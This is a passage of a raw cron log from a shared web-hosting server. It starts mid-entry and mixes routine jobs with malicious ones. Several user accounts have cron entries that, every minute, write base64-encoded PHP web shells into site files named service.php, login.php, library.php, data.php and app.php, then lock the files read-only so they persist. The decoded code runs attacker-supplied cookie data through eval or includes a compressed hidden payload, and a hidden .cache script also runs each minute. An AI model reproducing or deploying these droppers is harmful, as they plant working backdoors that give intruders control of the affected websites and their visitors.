"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:47:01 medusa CROND[28471]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:47:01 medusa CROND[28470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:47:01 medusa CROND[28473]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 15:47:01 medusa CROND[28474]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:47:01 medusa CROND[28477]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:48:01 medusa CROND[30227]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:48:01 medusa CROND[30233]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:48:01 medusa CROND[30238]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:48:01 medusa CROND[30239]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:48:01 medusa CROND[30240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:48:01 medusa CROND[30241]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:48:01 medusa CROND[30244]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:48:01 medusa CROND[30243]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:48:01 medusa CROND[30245]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:48:01 medusa CROND[30249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:48:01 medusa CROND[30251]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:48:01 medusa CROND[30253]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:48:01 medusa CROND[30256]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:49:01 medusa CROND[31850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:49:01 medusa CROND[31851]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:49:01 medusa CROND[31852]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:49:01 medusa CROND[31853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:49:01 medusa CROND[31854]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:49:01 medusa CROND[31855]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:49:01 medusa CROND[31857]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
